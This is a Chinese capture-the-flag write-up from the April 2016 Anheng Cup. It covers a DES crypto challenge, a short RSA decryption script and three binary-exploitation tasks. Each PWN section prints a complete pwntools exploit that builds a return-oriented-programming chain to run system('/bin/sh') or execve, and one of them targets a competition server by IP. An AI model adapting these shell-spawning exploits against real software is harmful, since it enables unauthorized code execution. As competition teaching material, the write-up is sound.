【4.29安恒杯】writeup

  • #### 安恒杯_writeup

以下为比赛中做出的题目

MISC: SHOW ME THE FLAG-by-cyyzore

CRYPTO: LAZYATTACK-by-GoldsNow

这一题很巧,全部的队伍里面只有我们一个队伍将其做出来。

这一题做出来完完全全是靠运气,在当我做出这一题的时候感觉是懵逼的,完全不知道是怎么回事,flag一下子就出来了而且对了,很兴奋。队友都相互说用了和出题人同一个软件,才得到的答案。结果确实是和出题人用了同一个软件。

首先,因为巧合,师兄说了C语言跑的会比python快,然后去网上找C语言的DES解密代码。于是乎在网上找了两个版本的DES解密,一种只能解决8位

明文与8位密钥的算法,然后果断扔掉。

还有一个版本就是和出题人一样的。估计出题人也是网上拉的代码。看都不看的,加密解密验证一下就出题目了。

由于懒得修改程序,就新建了key.txt (这个也奠定了能够得到flag的基础。) 事实上密钥 就是key.txt。不过一定要用C语言来解密,其他的语言解密无效。

DES解密程序的主函数如下

int main()
{
    DES_Encrypt("1.txt","key.txt","2.txt");
    system("pause");
    DES_Decrypt("2.txt","key.txt","3.txt");
    getchar();
    return 0;
}

注:这个是刚刚下载下来的时候的代码。1.txt 是需要加密的文字,key.txt就是密钥!密钥。。2.txt 是加密后的文字,3.txt是解密后的文字。

题目错误分析过程:

一、 解密程序;

①当key.txt里面什么都不写的时候。

②当key.txt里面随便乱填的时候。

③当key.txt名称换成key1.txt且里面什么都不填的时候

**这个时候就没有flag了!

④当key1.txt乱填的时候:**

和③产生的结果是一样的。

二、同理生成代码的程序

同样的效果,不重复描述了。

三、代码分析

出题人使用的DES源码:DOWNLOAD IT!

CRYPTO:RSAROLL-by-wintersun

题目提示说不要用微软的notepad,机智的我,果断没用。。

  1. 使用notapad++打开文件。如下

  1. 使用RSATOOLS爆破密钥(软件放群里了)

  1. 解密代码如下
import binascii

# n = 0x367198D6B5614E95813ADD8F22A4717BC72BE1EABD933D1B86944FDB75B8ED230BE62D7D1B69D222095C128C86F82012ECB116191FD9D018A6D02F84DB27BC51A21307DC86F4BF771C691C143E5ABE549B5BD2D6EB1A21FD6270E7E1B48FE0611FBB2E1B0B3524E6F4DE8B4E4A345DA44A13DE825B72608DB6C7C4A40B78266E6C87BBFDEF6B48381D49C4507A58BCD47B76D64B45908B158BD7EBC4DACB0B1CFD6C2C19574F40EB2EFD0E9E10DC7005CAD39BCAF52B9EAC3873368D69031C5E724684A44F068EFD1D3DC096D9B5D6411E58BDEE43E46B99A0D0494B9DB28195AF901AFF130D4A6E203DAD08DA57FA7E40262A5BADB2A323EDA28B44696AB305D
# d = 4221909016509078129201801236879446760697885220928506696150646938237440992746683409881141451831939190609743447676525325543963362353923989076199470515758399L
# c = 0x1e04304936215de8e21965cfca9c245b1a8f38339875d36779c0f123c475bc24d5eef50e7d9ff5830e80c62e8083ec55f27456c80b0ab26546b9aeb8af30e82b650690a2ed7ea407dcd094ab9c9d3d25a93b2140dcebae1814610302896e67f3ae37d108cd029fae6362ea7ac1168974c1a747ec9173799e1107e7a56d783660418ebdf6898d7037cea25867093216c2c702ef3eef71f694a6063f5f0f1179c8a2afe9898ae8dec5bb393cdffa3a52a297cd96d1ea602309ecf47cd009829b44ed3100cf6194510c53c25ca7435f60ce5f4f614cdd2c63756093b848a70aade002d6bc8f316c9e5503f32d39a56193d1d92b697b48f5aa43417631846824b5e86
n  = 0x36D837C1
c  = ‘704796792,752211152,274704164,18414022,368270835,483295235,263072905,459788476,483295235,459788476,663551792,475206804,459788476,428313374,475206804,459788476,425392137,704796792,458265677,341524652,483295235,534149509,425392137,428313374,425392137,341524652,458265677,263072905,483295235,828509797,341524652,425392137,475206804,428313374,483295235,475206804,459788476,306220148‘
d  = 0x5C5CED3
c = c.split(‘,‘)
flag=‘‘
for x in c:
    m = hex(pow(int(x),d,n)).rstrip("L")
    flag+=chr(int(m[2:],16))
print flag
#print binascii.unhexlify(‘0‘+m[2:])
raw_input()
PWN:PWN1-by-wintersun

链接,蒸米的文章

http://drops.wooyun.org/tips/6597

exp第一个改改就能用= =。。

这边题目没有提供libc给我们,但是system函数plt中有了,我们可以直接获取到system函数的地址,现在就还差一个”/bin/sh\0”。

我们可以利用rop,第一发先把”/bin/sh\0”写入到.bbs段,然后再来一发rop,调用system,触发”/bin/sh\0”,需要注意的是,要保持堆栈平衡。

exp如下:

#!/usr/bin/env python
from pwn import *

elf = ELF(‘./pwn1‘)
plt_system = elf.symbols[‘system‘]
plt_scanf = elf.symbols[‘__isoc99_scanf‘]
vulfun_addr = 0x080485FD
p  = remote(‘114.55.7.125‘,8000)
#p = process(‘./pwn1‘)
#p = remote(‘127.0.0.1‘, 10003)

print "system_addr=" + hex(plt_system)
bss_addr = 0x0804a040
ppr = 0x80487ad
_256s = 0x0804888F
print repr(p.recvuntil(‘:‘))
payload = ‘a‘*140  + p32(plt_scanf) + p32(ppr) + p32(_256s)+ p32(bss_addr)
payload += p32(plt_system) + p32(vulfun_addr) + p32(bss_addr)
print "\n###sending payload ...###"
p.sendline(payload)
print repr(p.recvuntil(‘:‘))
raw_input()
p.sendline(‘1‘)
print repr(p.recvuntil(‘\n‘))
p.sendline("/bin/sh\0")

p.interactive()

我是分割线



我是分割线

以下是赛后解出的题目(各种参考资料。。)

PWN:PWN2

做pwn题目。。默认他开启了DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)。嗯。。保护模式全开了。。

使用 file pwn2 查看elf文件信息。

pwn2: ELF 32-bit LSB executable, Intel 80386, version 1
(GNU/Linux), statically linked, for GNU/Linux 2.6.24,
BuildID[sha1]=0xf6065416aedf59fe9b12d75558caf75e535311bf,
not stripped

这是一个静态编译的文件,没有libc,使用IDA反编译发现,连个system都木有。。

程序的简单流程:

首先申请一个内存空间,内存空间的单位为4个字节的int型,这个内存空间的长度由用户决定,这是第一个缺陷。程序提供四种运算,和最后一种保存功能。用户可以通过选择一种运算模式,然后输入x(整型)、y(整型)来进行运算,运算结果会逐个保存至一开始分配的内存空间上。

溢出点在memcpy(&v3, v5, 4 * v4);最后保存结果的时候把用户开辟的超长内存空间段拷贝到了栈上。。溢出。。

将超长内存空间拷贝到了栈上,导致栈溢出

法一:通过rop关闭DEP,然后跳转到栈上的shell。执行shell

法二:通过ROPgadget构造出一条可以获得shell的rop。

我们先采用法二。。这比较简单,容易实现。

命令ROPgadget --binary pwn2 --ropchain

嗯。。生成的ropchain是酱紫的。

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = ‘‘

p += pack(‘<I‘, 0x0806ed0a) # pop edx ; ret
p += pack(‘<I‘, 0x080ea060) # @ .data
p += pack(‘<I‘, 0x080bb406) # pop eax ; ret
p += ‘/bin‘
p += pack(‘<I‘, 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack(‘<I‘, 0x0806ed0a) # pop edx ; ret
p += pack(‘<I‘, 0x080ea064) # @ .data + 4
p += pack(‘<I‘, 0x080bb406) # pop eax ; ret
p += ‘//sh‘
p += pack(‘<I‘, 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack(‘<I‘, 0x0806ed0a) # pop edx ; ret
p += pack(‘<I‘, 0x080ea068) # @ .data + 8
p += pack(‘<I‘, 0x08054730) # xor eax, eax ; ret
p += pack(‘<I‘, 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack(‘<I‘, 0x080481c9) # pop ebx ; ret
p += pack(‘<I‘, 0x080ea060) # @ .data
p += pack(‘<I‘, 0x0806ed31) # pop ecx ; pop ebx ; ret
p += pack(‘<I‘, 0x080ea068) # @ .data + 8
p += pack(‘<I‘, 0x080ea060) # padding without overwrite ebx
p += pack(‘<I‘, 0x0806ed0a) # pop edx ; ret
p += pack(‘<I‘, 0x080ea068) # @ .data + 8
p += pack(‘<I‘, 0x08054730) # xor eax, eax ; ret
p += pack(‘<I‘, 0x0807b75f) # inc eax ; ret
p += pack(‘<I‘, 0x0807b75f) # inc eax ; ret
p += pack(‘<I‘, 0x0807b75f) # inc eax ; ret
p += pack(‘<I‘, 0x0807b75f) # inc eax ; ret
p += pack(‘<I‘, 0x0807b75f) # inc eax ; ret
p += pack(‘<I‘, 0x0807b75f) # inc eax ; ret
p += pack(‘<I‘, 0x0807b75f) # inc eax ; ret
p += pack(‘<I‘, 0x0807b75f) # inc eax ; ret
p += pack(‘<I‘, 0x0807b75f) # inc eax ; ret
p += pack(‘<I‘, 0x0807b75f) # inc eax ; ret
p += pack(‘<I‘, 0x0807b75f) # inc eax ; ret
p += pack(‘<I‘, 0x08049781) # int 0x80

这里说一下,由于以往碰到的pwn题目输入都是为字符串,但是这题不一样,输入为整型,有个大小端的问题。

附:

pwn之%s与%d的问题研究。

大小端问题在字符串和整型存储时存在差异

字符串存储时没有大小端的问题,可以看作大端模式。
比如说0x0806ed0a,字符串存储的时候是从低往高的。
1  2  3  4
08 06 6e d0

!!!!然而,ret返回地址是由高向低,小端存储。

所以设置返回地址的时候,必须倒着来 \x0a\xed\x06\x08 这样子输入进去。这样ret才会读成0x0806ed0a,PC跳转到0x0806ed0a这个地址上

整型存储时,使用的是小端模式,数据是从高往低放的。输入0x0806ed0a时。

1  2  3  4
d0 6e d0 08
<切合ret阅读模式>

这个时候ret会直接返回0x0806ed0a

所以我们在放置payload的时候,要注意大小端的问题。

额外情况:

栈空间的计算,main函数默认会多出8个字节的栈空间。

exp如下

from pwn import *
context(arch=‘i386‘, os=‘linux‘, log_level=‘debug‘)

p = process(‘./pwn2‘)

###set memery length
p.recvuntil(‘:‘)
p.sendline(‘255‘)#the biggest!

### calc reply
def calc(num):
    p.recvuntil(‘result‘)
    p.sendline(‘1‘)
    p.recvuntil(‘x:‘)
    p.sendline(str(num))
    p.recvuntil(‘y:‘)
    p.sendline(‘0‘)
    p.recvuntil(‘\n‘)
###pading 16*4 byte
for x in range(11):calc(0x41414141)#44 byte
calc(0)#free v4
for x in range(4):calc(0x41414141)

### ropchain
ropchain = [0x0806ed0a,
0x080ea060,
0x080bb406,
0x6e69622f,
0x080a1dad,
0x0806ed0a,
0x080ea064,
0x080bb406,
0x68732f2f,
0x080a1dad,
0x0806ed0a,
0x080ea068,
0x08054730,
0x080a1dad,
0x080481c9,
0x080ea060,
0x0806ed31,
0x080ea068,
0x080ea060,
0x0806ed0a,
0x080ea068,
0x08054730,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x08049781]

### send ropchain
for i in ropchain:
    calc(i)
### sava and overflow
p.recvuntil(‘result‘)
p.sendline(‘5‘)
p.interactive()
PWN:PWN3

file查看下,动态编译的文件。

用IDA查看下溢出点在哪。

发现存在整数溢出:数组的索引,用户可控,该索引为有符号整型,存在溢出,在任意位置可写。

可写入最大字节数为 10*4 byte

要用这40 byte 来获得shell

先 scanf 把 “/bin/sh\0”写入至.bbs(8个字节刚刚好——要是不够怎么办?),然后再调用system函数,要注意保持堆栈平衡。

exp如下,感觉比pwn2简单。。没有用到libc.so

#!/usr/bin/env python
from pwn import *

context(arch=‘i386‘, os=‘linux‘, log_level=‘debug‘)
libc = ELF(‘libc.so‘)
pwn3 = ELF(‘pwn3‘)

plt_system = pwn3.symbols[‘system‘]
plt_scanf = pwn3.symbols[‘__isoc99_scanf‘]
print "system_addr=" + hex(plt_system)
print "scanf_addr=" + hex(plt_scanf)
bss_addr = 0x0804a060
ppr = 0x080487de
vulfun_addr = 0x080485E7
_9s = 0x804884b
overflowint = -0x80000000

p = process(‘./pwn3‘)
### input name
p.recvuntil(‘name ‘)
p.sendline(‘ws‘)
### send payload 10 times
def setvalue(index,payload):
    p.recvuntil(‘index‘)
    p.sendline(str(index))
    p.recvuntil(‘value‘)
    p.sendline(str(payload))

### scanf p %s .bss sys v .bss x x x
ropchain = [
plt_scanf,
ppr,
_9s,
bss_addr,
plt_system,
vulfun_addr,
bss_addr,
0x41414141,
0x41414141
]
i = 14 ### 数组索引是从0开始的。
for x in ropchain:
    print overflowint+i
    setvalue(overflowint+i,x)
    i=i+1
raw_input()
setvalue(overflowint+27,0x41414141)
p.recvuntil(‘your input\n‘)
p.sendline("/bin/sh\0")
p.interactive()
时间: 2024-10-12 11:00:17

【4.29安恒杯】writeup的相关文章

第三届4.29&ldquo;安恒杯&rdquo;网络安全技术大赛初赛wirteup心得-MISC

writeup地址: http://www.easyaq.com/news/international/4631.html http://www.easyaq.org/info/infoLink?id=851212685&from=groupmessage&isappinstalled=0 寂静之城 http://blog.sina.com.cn/s/blog_bb4702370102w4oa.html 一张图诠释我的内心 MISC 250 我爱Linux 图片题,了解文件的格式很重要,,

第三届4.29“安恒杯”网络安全技术大赛初赛wirteup心得-WEB

writeup地址: http://www.easyaq.com/news/international/4631.html http://www.easyaq.org/info/infoLink?id=851212685&from=groupmessage&isappinstalled=0 WEB1 解题第一步骤,我发现了username和uid根本就是加密了..当时就一个劲的想怎么解admin..原来题目的漏洞在于uid啊,,,官网给的writeup原谅我看不懂..不过,我觉得这篇讲的很

安恒杯十一月比赛部分writeup

Web1 绕过看门狗 简单尝试了一下,大小写绕过就可以.sqlmap直接加个randomcase.py的tamper即可,当然写脚本来跑也是可以的. Web2   jshunt 打开链接,看到一个上传点和一个留言板.输入<img src=#onerror=alert(1)/>,提示“非法标签”,最后发现只能使用script. 之后把重点放在script,fuzz发现只能使用src属性,尝试包含js文件,提示“禁止包含js文件”. 包含外部js文件同样报错,同时观察返回包,发现使用了csp策略,

百度杯WriteUp

十月第一场 签到题 misc 纯属脑洞题,在i春秋公众号里输入 百度杯么么哒 就可以拿到flag 我要变成一只程序猿 misc 下载文件,看到里面txt是一段c语言写的代码 #include<stdio.h> #include<string.h> void main() { char str[100]=""; int i; int len; printf("input string:\n"); gets(str); len=strlen(st

安恒杯-被劫持的神秘礼物

题目说明 某天小明收到了一件很特别的礼物,有奇怪的后缀,奇怪的名字和格式.小明找到了知心姐姐度娘,度娘好像知道这是啥,但是度娘也不知道里面是啥...你帮帮小明?找到帐号密码,串在一起,用32位小写MD5哈希一下得到的就是答案. 解压后用wireshark打开文件之后,搜素http数据包 发现post提交的数据,右键追踪http流 拼接用户名密码得到adminaadminb 使用md5加密后得到1d240aafe21a86afc11f38a45b541a49 本文固定链接:http://www.c

安恒杯-一张谍报

题目描述: 国家能源总部经过派出卧底长期刺探,终于找到一个 潜伏已久的国外内鬼:三楼能源楼管老王.由于抓捕仓促, 老王服毒自尽了.侦查部门搜出老王每日看的报纸原来是特 制的情报.聪明的你能从附件的报纸中找出情报么?flag是 老王说的暗号.(由于老王的线人曾今做的土匪,所以用的 行话) 解密: #-*- coding:gbk -*- import sys reload(sys) sys.setdefaultencoding('gbk') strs1 = "今天上午,朝歌区梆子公司决定,在每天三更

安恒杯2月月赛-应该不是xss

1. 打开题目一看,是个留言板 2. 查看源码发现有几个js文件 依次打开发现在main.js里存在这样一段代码 3. 访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密码的时候不需要输入原密码,大概其是个csrf 4. 再查看app.js,是个修改密码的js,但是会先验证token,所以我们需要先得到token 获取token的方法原理:https://githubengineering.com/githubs-post-csp-journey/ 5. 利用: 6

蓝盾杯writeup

由于比赛时只给了内网,web题目无法复现,这里就简单写一下misc的部分题目 1.眼花了吗 (默默吐槽居然是来自实验吧的原题) 提示:当眼花的时候会显示两张图,可以想到应该是包含双图的情况 用foremost将其分离出来,得到两张相同的图片: 用Stegsolve打开,选择Data Extract,即可以找到flag: ISG{E4sY_StEg4n0gR4pHy} 2.好美的玫瑰花 提示:key就在图片里 推测应该是图片里放了key值,用steghide得到key值,但需要知道密码值,首先尝试

安恒杯月赛 babypass getshell不用英文字母和数字

BABYBYPASS 先贴代码: ①限制字符长度35个 ②不能使用英文字母和数字和 _ $ 最后提示有个getFlag()函数,从这个函数入手. 我们的第一思路是直接eval执行getFlag函数,但是这里过滤了 _ $ 无法通过异或的方法构造变量,下一篇博客有这样的题目 所以最终这道题目思路是通过eval函数执行系统命令,查看index.php. 用到的知识点 ①linux通配符 * ? ②php短标签<??> ③linux一切皆文件 ④apache默认存放网页路径 linux通配符 *代表